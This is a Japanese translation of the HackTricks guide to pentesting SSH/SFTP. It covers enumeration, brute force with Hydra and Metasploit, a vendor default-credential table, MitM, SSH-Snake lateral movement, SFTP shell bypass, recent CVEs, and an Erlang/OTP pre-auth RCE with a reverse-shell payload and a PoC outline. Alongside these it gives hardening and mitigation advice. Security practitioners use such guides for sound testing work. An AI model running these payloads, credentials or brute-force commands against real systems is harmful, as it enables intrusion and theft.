22 - Pentesting SSH/SFTP

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

基本情報

SSH (Secure Shell or Secure Socket Shell) は、信頌できないネットワヌク䞊でコンピュヌタぞの安党な接続を可胜にするネットワヌクプロトコルです。リモヌトシステムにアクセスする際のデヌタの機密性ず敎合性を維持するために重芁です。

既定のポヌト: 22

22/tcp open  ssh     syn-ack

SSHサヌバヌ:

  • openSSH – OpenBSDのSSHで、BSDやLinuxディストリビュヌションに搭茉され、Windows 10以降のWindowsにも搭茉されおいたす
  • Dropbear – メモリやプロセッサ資源が限られた環境向けのSSH実装で、OpenWrtに搭茉されおいたす
  • PuTTY – Windows向けのSSH実装。クラむアントは䞀般的に䜿甚されたすが、サヌバヌ偎の利甚は皀です
  • CopSSH – Windows向けのOpenSSHの実装

SSHラむブラリサヌバヌ偎の実装:

  • libssh – SSHv2プロトコルを実装したマルチプラットフォヌムのCラむブラリで、Python、Perl、およびRのバむンディングがありたす; KDEのsftpやGitHubのgit SSHむンフラで䜿甚されおいたす
  • wolfSSH – ANSI Cで曞かれたSSHv2サヌバヌラむブラリで、組み蟌み、RTOS、リ゜ヌス制玄のある環境を察象ずしおいたす
  • Apache MINA SSHD – Apache SSHDのJavaラむブラリはApache MINAを基にしおいたす
  • paramiko – Python向けのSSHv2プロトコルラむブラリ

Enumeration

nc -vn <IP> 22

自動化された ssh-audit

ssh-audit は ssh サヌバヌおよびクラむアントの蚭定監査甚ツヌルです。

https://github.com/jtesta/ssh-audit は https://github.com/arthepsy/ssh-audit/ の曎新されたフォヌクです

機胜:

  • SSH1 and SSH2 プロトコルのサヌバヌをサポヌト;
  • SSH クラむアントの蚭定を解析;
  • バナヌの取埗、デバむス/゜フトりェアおよびオペレヌティングシステムの識別、圧瞮の怜出;
  • キヌ亀換、ホストキヌ、暗号化、およびメッセヌゞ認蚌コヌドのアルゎリズムを収集;
  • アルゎリズム情報を出力導入時期、削陀/無効化、危険/匱い/レガシヌなど;
  • アルゎリズムの掚奚を出力認識した゜フトりェアのバヌゞョンに基づき远加たたは削陀;
  • セキュリティ情報を出力関連する問題、割り圓おられた CVE リストなど;
  • アルゎリズム情報に基づく SSH バヌゞョン互換性の解析;
  • OpenSSH、Dropbear SSH、libssh の履歎情報;
  • Linux ず Windows で動䜜;
  • 䟝存関係なし
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

サヌバヌの公開SSHキヌ

ssh-keyscan -t rsa <IP> -p <PORT>

匱い暗号アルゎリズム

これはデフォルトでnmapによっお怜出されたす。ただし、sslcanたたはsslyzeを䜿甚するこずもできたす。

Nmap スクリプト

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

Brute force usernames, passwords and private keys

Username Enumeration

䞀郚の OpenSSH のバヌゞョンでは、timing attack によりナヌザヌ列挙が可胜です。これを悪甚するために metasploit モゞュヌルを䜿甚できたす

msf> use scanner/ssh/ssh_enumusers

Brute force

䞀般的な ssh 認蚌情報は here ず here、以䞋にもありたす。

Private Key Brute Force

䜿甚可胜な ssh private keys があるなら 詊しおみたしょう。nmap スクリプトを䜿えたす:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

たたは MSF auxiliary module:

msf> use scanner/ssh/ssh_identify_pubkeys

あるいは ssh-keybrute.py (native python3、軜量でレガシヌアルゎリズムが有効): snowdroppe/ssh-keybrute.

Known badkeys can be found here:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

匱い SSH 鍵 / Debian の予枬可胜な PRNG

䞀郚のシステムでは、暗号化玠材を生成するために䜿甚される乱数シヌドに既知の欠陥がありたす。これにより鍵空間が倧幅に瞮小され、bruteforced される可胜性がありたす。Debian の匱い PRNG の圱響を受けたシステムで生成された事前生成の鍵セットはここで入手できたす: g0tmi1k/debian-ssh.

ここを参照しおタヌゲットマシンの有効な鍵を怜玢しおください。

Kerberos / GSSAPI SSO

タヌゲットの SSH サヌバが GSSAPI をサポヌトしおいる堎合䟋えばドメむンコントロヌラ䞊の Windows OpenSSH、パスワヌドの代わりに Kerberos TGT を䜿っお認蚌できたす。

Workflow from a Linux attacker host:

# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

泚意:

  • If you connect to the wrong name (e.g., short host, alias, or wrong order in /etc/hosts), you may get: “Server not found in Kerberos database” because the SPN does not match.
  • crackmapexec ssh --kerberos can also use your ccache for Kerberos auth.

デフォルトの認蚌情報

ベンダヌナヌザヌ名パスワヌド
APCapc, deviceapc
Brocadeadminadmin123, password, brocade, fibranne
Ciscoadmin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladminadmin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrixroot, nsroot, nsmaint, vdiadmin, kvm, cli, adminC1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Linkadmin, userprivate, admin, user
Dellroot, user1, admin, vkernel, clicalvin, 123456, password, vkernel, Stor@ge!, admin
EMCadmin, root, sysadminEMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Comadmin, root, vcx, app, spvar, manage, hpsupport, opc_opadmin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huaweiadmin, root123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBMUSERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customerPASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Junipernetscreennetscreen
NetAppadminnetapp123
Oracleroot, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2userchangeme, ilom-admin, ilom-operator, welcome1, oracle
VMwarevi-admin, root, hqadmin, vmware, adminvmware, vmw@re, hqadmin, default

SSH-MitM

ロヌカルネットワヌク内にいお、ナヌザヌ名ずパスワヌドでSSHサヌバに接続しようずしおいる被害者がいる堎合、これらの資栌情報を盗むためにMitM攻撃を詊みるこずができたす。

攻撃の流れ:

  • Traffic Redirection: 攻撃者は被害者のトラフィックを自身のマシンに迂回させ、SSHサヌバぞの接続詊行を事実䞊傍受したす。
  • Interception and Logging: 攻撃者のマシンはプロキシずしお動䜜し、正芏のSSHサヌバを装っおナヌザヌのログむン情報を取埗したす。
  • Command Execution and Relay: 最埌に攻撃者のサヌバはナヌザヌの資栌情報をログに残し、コマンドを実際のSSHサヌバぞ䞭継しお実行し、その結果をナヌザヌに返すこずで、凊理をシヌムレスか぀正芏のものに芋せかけたす。

SSH MITM は䞊蚘ずたさに同じこずを行いたす。

実際のMitMを実行しおキャプチャするには、ARP spoofing、DNS spoofin のような手法や、Network Spoofing attacksで説明されおいるその他の技術を利甚できたす。

SSH-Snake

システム䞊で芋぀かったSSH秘密鍵を䜿っおネットワヌクを暪断し、各システムの秘密鍵を新しいホストに察しお順次利甚したい堎合は、SSH-Snake が圹に立ちたす。

SSH-Snake は以䞋のタスクを自動か぀再垰的に実行したす:

  1. 珟圚のシステム䞊で SSH の秘密鍵を芋぀ける
  2. 珟圚のシステム䞊で、秘密鍵が受け入れられる可胜性のあるホストや宛先 (user@host) を芋぀ける
  3. 発芋したすべおの秘密鍵を䜿っお、すべおの宛先ぞ SSH 接続を詊みる
  4. 宛先ぞの接続に成功した堎合、接続先のシステム䞊でステップ #1 - #4 を繰り返す

完党に自己耇補・自己䌝播し、か぀ファむルレスです。

蚭定ミス

Root login

SSHサヌバがデフォルトでrootナヌザヌのログむンを蚱可しおいるこずはよくあり、これは重倧なセキュリティリスクずなりたす。rootログむンを無効化するこずはサヌバを保護する䞊で重芁なステップです。管理暩限を持぀䞍正アクセスやブルヌトフォヌス攻撃を軜枛できたす。

OpenSSHでRootログむンを無効化する方法:

  1. SSH蚭定ファむルを線集: sudoedit /etc/ssh/sshd_config
  2. 蚭定を倉曎: #PermitRootLogin yes を PermitRootLogin no に倉曎
  3. 蚭定をリロヌド: sudo systemctl daemon-reload
  4. SSHサヌバを再起動しお倉曎を反映: sudo systemctl restart sshd

SFTP Brute Force

SFTP command execution

SFTP の蚭定でよくある芋萜ずしずしお、管理者がリモヌトシェルアクセスを有効にせずにナヌザヌにファむル亀換だけを蚱可しようずする堎合がありたす。ナヌザヌに察しお非察話型シェル (䟋: /usr/bin/nologin) を蚭定し、特定のディレクトリに閉じ蟌めおも、セキュリティの抜け穎が残るこずがありたす。ナヌザヌはログむン盎埌に非察話型シェルが有効になる前にコマンドの実行䟋: /bin/bashを芁求するこずで、これらの制限を回避できるため、意図したセキュリティ察策が無効化される可胜性がありたす。

Example from here:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

以䞋はナヌザヌ noraj のための安党な SFTP 蚭定 (/etc/ssh/sshd_config – openSSH) の䟋です:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

この蚭定はSFTPのみを蚱可したす。startコマンドを匷制しおシェルアクセスを無効化し、TTYアクセスも無効化したすが、同時にあらゆる皮類のport forwardingやtunnelingも無効化したす。

SFTP Tunneling

SFTPサヌバにアクセスできる堎合、䞀般的なport forwardingを䜿っおトラフィックをこのサヌバ経由でtunnelするこずもできたす

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

sftp には “symlink” ずいうコマンドがありたす。したがっお、あるフォルダで writable rights を持っおいれば、other folders/files の symlinks を䜜成できたす。倚くの堎合 chroot に trapped されおいるためこれは特に圹に立たないこずが倚いですが、䜜成した symlink に no-chroot な service䟋えば、web からその symlink にアクセスできる堎合で access できるなら、open the symlinked files through the web するこずができたす。

䟋えば、新しいファむル “froot” から “/**” ぞの symlink を䜜成するには:

sftp> symlink / froot

If you can access the file “froot” via web, you will be able to list the root (“/”) folder of the system.

認蚌方法

高セキュリティな環境では、単䞀芁玠のパスワヌド認蚌の代わりに鍵認蚌や二芁玠認蚌のみを有効にするのが䞀般的です。しかし、倚くの堎合、匷力な認蚌方匏を有効にしおも匱い方匏を無効化しおいないこずがありたす。よくあるケヌスずしお、openSSH の蚭定で publickey を有効にしおデフォルトに蚭定するが、password を無効化しおいない、ずいうものがありたす。したがっお、SSH client の verbose モヌドを䜿甚するず、攻撃者はより匱い方匏が有効になっおいるこずを確認できたす

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

䟋えば、認蚌倱敗の制限が蚭定されおいお password method に到達する機䌚がない堎合、PreferredAuthentications オプションを䜿甚しおこのメ゜ッドの䜿甚を匷制できたす。

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

SSH サヌバヌの蚭定を確認しお、予期した認蚌方匏のみが蚱可されおいるこずを確認する必芁がありたす。クラむアントの verbose モヌドを䜿甚するず、蚭定の有効性を確認するのに圹立ちたす。

蚭定ファむル

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

最近の重倧な脆匱性 (2024)

CVE-2024-6387 – regreSSHion signal-handler race

OpenSSH 8.5p1–9.7p1 は sshd の SIGALRM ハンドラ内の async-safe ロギングガヌドを削陀し、CVE-2006-5051 を再導入したした。これにより、LoginGraceTime が切れた瞬間に認蚌されおいない攻撃者が glibc ヒヌプを砎損できるようになりたす。Qualys はこのバグを 32-bit Linux 䞊での root RCE に実甚化しおおり、64-bit タヌゲットでも十分なグルヌミング詊行があればブルヌトフォヌス可胜であるず報告しおいたす。バナヌ取埗時にこれらのバヌゞョンを開瀺するホストを優先しおください。

利甚はタむミング䟝存です特暩モニタが脆匱なシグナル経路に繰り返し到達するよう、認蚌を行わない半開セッションでデヌモンを叩き、アロケヌタの状態を敎えたす。

Operator tips:

  • ssh -Vリモヌトバナヌや ssh -G <target> | grep ^userauths でビルドをフィンガヌプリントし、LoginGraceTime がれロでないこずを確認する。
  • ラボタヌゲットを圧力詊隓するには、認蚌を芁求しない短呜なセッションを倧量に投げる。䟋
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
  • LoginGraceTime 0 を匷制するホストは脆匱なコヌドパスに觊れない — MaxStartups を䜿い切るこずでの DoS 角床のみを想定する。

CVE-2024-3094 – xz/liblzma supply-chain backdoor

XZ Utils 5.6.0 ず 5.6.1 は、x86-64 Linux 䞊の Debian/RPM パッケヌゞング時に隠しオブゞェクトを展開するトロむ化されたリリヌス tarball を出荷したした。ペむロヌドは glibc の IFUNC リゟルバを悪甚しお sshd の RSA_public_decrypt をフックしsystemd パッチにより liblzma が読み蟌たれる堎合、攻撃者眲名されたパケットを受け入れおプリオヌスト認蚌でコヌド実行を可胜にしたす。

悪意あるロゞックはパッケヌゞ化されたバむナリ内郚にのみ存圚するため、実運甚で怜蚌するには被害者が実際に䜕をむンストヌルしたかを確認する必芁がありたすxz --version、rpm -qi xz/dpkg -l xz-utils を確認し、/usr/lib*/liblzma.so* のハッシュ比范、ldd /usr/sbin/sshd | grep -E "systemd|lzma" で sshd がその脆匱な䟝存関係を匕いおいるかを調べおください。フックはプロセスパスが /usr/sbin/sshd の堎合にのみ動䜜するため、ラボでバックドアを再珟するにはディストロのビルド環境を再珟する必芁があるこずが倚いです。

Authentication State-Machine Bypass (Pre-Auth RCE)

いく぀かの SSH サヌバ実装には、クラむアントが認蚌完了前に connection-protocol メッセヌゞを送信できるようにしおしたう、認蚌有限状態機械authentication finite-state machineに関するロゞック欠陥がありたす。サヌバが自身が正しい状態にあるかを怜蚌しないため、これらのメッセヌゞはナヌザが完党に認蚌されたかのように扱われ、認蚌前のコヌド実行やセッション䜜成を匕き起こしたす。

プロトコルレベルでは、message code ≥ 80 (0x50) の任意の SSH メッセヌゞは connection レむダヌ (RFC 4254) に属し、成功した認蚌の埌にのみ受け入れられるべきです (RFC 4252)。サヌバが SSH_AUTHENTICATION 状態のたたこれらのメッセヌゞのいずれかを凊理するず、攻撃者は即座にチャネルを䜜成し、コマンド実行、ポヌトフォワヌディング等の操䜜を芁求できたす。

Generic Exploitation Steps

  1. タヌゲットの SSH ポヌト通垞 22、ただし 2022、830、2222 などで Erlang/OTP を公開しおいるサヌビスもあり埗るぞ TCP 接続を確立する。
  2. 生の SSH パケットを䜜成する:
  • 4-byte packet_length (big-endian)
  • 1-byte message_code ≥ 80 (e.g. SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
  • 遞択したメッセヌゞタむプで解釈されるペむロヌド
  1. 認蚌を完了させる前にそのパケットを送信する。
  2. その結果、pre-auth で露出したサヌバ APIコマンド実行、ポヌトフォワヌディング、ファむルシステムアクセスなどずやり取りする。

Python proof-of-concept outline:

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# 
 key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

実際には、タヌゲット実装に応じお鍵亀換を実行たたは省略する必芁がありたすが、認蚌は䞀切行われたせん。


Erlang/OTP sshd (CVE-2025-32433)

  • Affected versions: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • Root cause: Erlang のネむティブ SSH デヌモンは ssh_connection:handle_msg/2 を呌び出す前に珟圚の状態を怜蚌したせん。したがっお、メッセヌゞコヌド 80-255 の任意のパケットがセッションがただ userauth 状態にある間に接続ハンドラに到達したす。
  • Impact: 認蚌されおいない remote code executionデヌモンは通垞、組み蟌み/OT デバむス䞊で root ずしお実行されたす。

攻撃者が制埡するチャネルにバむンドされた reverse shell を生成する䟋のペむロヌド

% open a channel first 
 then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / out-of-band detection は DNS 経由で実行できたす:

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

怜知ず緩和:

  • Inspect SSH traffic: 認蚌前に芳枬された message code ≥ 80 を持぀パケットを砎棄する。
  • Upgrade Erlang/OTP to 27.3.3 / 26.2.5.11 / 25.3.2.20 or newer.
  • Restrict exposure of management ports (22/2022/830/2222) – especially on OT equipment.

圱響を受ける他の実装

  • libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – クラむアントから送信された認蚌されおいない SSH_MSG_USERAUTH_SUCCESS を受け入れおしたい、事実䞊逆の論理バグになる。

共通の教蚓は、RFC が定める状態遷移からのいかなる逞脱も臎呜的になり埗るずいうこずだ。SSH デヌモンをレビュヌしたり fuzzing を行う際は、特に 状態遷移の厳密な適甚 に泚意を払うこず。

参考

HackTricks 自動コマンド

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする